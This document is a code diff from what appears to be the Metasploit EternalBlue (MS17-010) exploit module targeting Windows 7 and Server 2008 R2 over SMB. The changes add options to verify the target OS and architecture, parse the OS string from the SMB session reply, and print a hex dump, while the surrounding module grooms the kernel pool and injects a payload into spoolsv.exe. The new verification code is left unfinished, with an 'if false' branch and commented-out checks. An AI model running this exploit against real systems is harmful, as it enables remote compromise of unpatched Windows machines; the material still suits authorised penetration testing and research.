@@ -60,11 +60,12 @@ def initialize(info = {})
60
60
'Platform' => 'win' ,
61
61
'Targets' =>
62
62
[
63
- [ 'Windows 7 and Server 2008 (x64) All Service Packs' ,
63
+ [ 'Windows 7 and Server 2008 R2 (x64) All Service Packs' ,
64
64
{
65
65
'Platform' => 'win' ,
66
66
'Arch' => [ ARCH_X64 ] ,
67
67
68
+ 'os_patterns' => [ 'Server 2008 R2' , 'Windows 7' ] ,
68
69
'ep_thl_b' => 0x308 , # EPROCESS.ThreadListHead.Blink offset
69
70
'et_alertable' => 0x4c , # ETHREAD.Alertable offset
70
71
'teb_acp' => 0x2c8 , # TEB.ActivationContextPointer offset
@@ -82,7 +83,9 @@ def initialize(info = {})
82
83
OptString . new ( 'ProcessName' , [ true , 'Process to inject payload into.' , 'spoolsv.exe' ] ) ,
83
84
OptInt . new ( 'MaxExploitAttempts' , [ true , "The number of times to retry the exploit." , 3 ] ) ,
84
85
OptInt . new ( 'GroomAllocations' , [ true , "Initial number of times to groom the kernel pool." , 12 ] ) ,
85
- OptInt . new ( 'GroomDelta' , [ true , "The amount to increase the groom count by per try." , 5 ] )
86
+ OptInt . new ( 'GroomDelta' , [ true , "The amount to increase the groom count by per try." , 5 ] ) ,
87
+ OptBool . new ( 'VerifyTarget' , [ true , "Check if remote OS matches exploit Target." , true ] ) ,
88
+ OptBool . new ( 'VerifyArch' , [ true , "Check if remote architecture matches exploit Target." , true ] )
86
89
] )
87
90
end
88
91
@@ -133,14 +136,6 @@ def exploit
133
136
end
134
137
end
135
138
136
- #
137
- # Increase the default delay by five seconds since some kernel-mode
138
- # payloads may not run immediately.
139
- #
140
- def wfs_delay
141
- super + 5
142
- end
143
-
144
139
def smb_eternalblue ( process_name , grooms )
145
140
begin
146
141
# Step 0: pre-calculate what we can
@@ -150,9 +145,16 @@ def smb_eternalblue(process_name, grooms)
150
145
151
146
# Step 1: Connect to IPC$ share
152
147
print_status ( "Connecting to target for exploitation." )
153
- client , tree , sock = smb1_anonymous_connect_ipc ( )
148
+ client , tree , sock , os = smb1_anonymous_connect_ipc ( )
154
149
print_good ( "Connection established for exploitation." )
155
150
151
+ if not verify_target ( os )
152
+ return
153
+ end
154
+
155
+ #if not verify_arch
156
+ #end
157
+
156
158
print_status ( "Trying exploit with #{ grooms } Groom Allocations." )
157
159
158
160
# Step 2: Create a large SMB1 buffer
@@ -207,6 +209,52 @@ def smb_eternalblue(process_name, grooms)
207
209
end
208
210
end
209
211
212
+ def verify_target ( os )
213
+ ret = true
214
+
215
+ if datastore [ 'VerifyTarget' ]
216
+ if false
217
+ los = os . downcase
218
+ #if los.include 'server 2008 r2' or os =~ /windows 7/i
219
+ print_warning ( "Target OS selected not valid for OS indicated by SMB reply" )
220
+ print_warning ( "Disable VerifyTarget option to proceed manually..." )
221
+ ret = false
222
+ end
223
+ print_status ( "Target OS selected valid for OS indicated by SMB reply" )
224
+ end
225
+
226
+ # cool buffer print no matter what, will be helpful when people post debug issues
227
+ print_core_buffer ( os )
228
+
229
+ return ret
230
+ end
231
+
232
+ def print_core_buffer ( os )
233
+ os = os . gsub ( "\x00 " , '' ) # don't do the unicode
234
+ os << "\x00 " # but original has a null
235
+
236
+ print_status ( "CORE raw buffer dump (#{ os . length . to_s } bytes)" )
237
+
238
+ count = 0
239
+ chunks = os . scan ( /.{1,16}/ )
240
+ chunks . each do | chunk |
241
+ hexdump = chunk . chars . map { |ch | ch . ord . to_s ( 16 ) . rjust ( 2 , "0" ) } . join ( " " )
242
+
243
+ format = "0x%08x %-47s %-16s" % [ ( count * 16 ) , hexdump , chunk ]
244
+ print_status ( format )
245
+ count += 1
246
+ end
247
+ end
248
+
249
+ #
250
+ # Increase the default delay by five seconds since some kernel-mode
251
+ # payloads may not run immediately.
252
+ #
253
+ def wfs_delay
254
+ super + 5
255
+ end
256
+
257
+
210
258
def smb2_grooms ( grooms , payload_hdr_pkt )
211
259
grooms . times do |groom_id |
212
260
gsock = connect ( false )
@@ -232,9 +280,16 @@ def smb1_anonymous_connect_ipc()
232
280
233
281
client . user_id = response . uid
234
282
283
+
284
+ # todo: RubySMB throwing exceptions
285
+ # sess = RubySMB::SMB1::Packet::SessionSetupResponse.new(raw)
286
+ os = raw . split ( "\x00 \x00 " ) [ -2 ]
287
+ # todo: rubysmb should set this automatically?
288
+ #client.peer_native_os = os
289
+
235
290
tree = client . tree_connect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
236
291
237
- return client , tree , sock
292
+ return client , tree , sock , os
238
293
end
239
294
240
295
def smb1_large_buffer ( client , tree , sock )
0 commit comments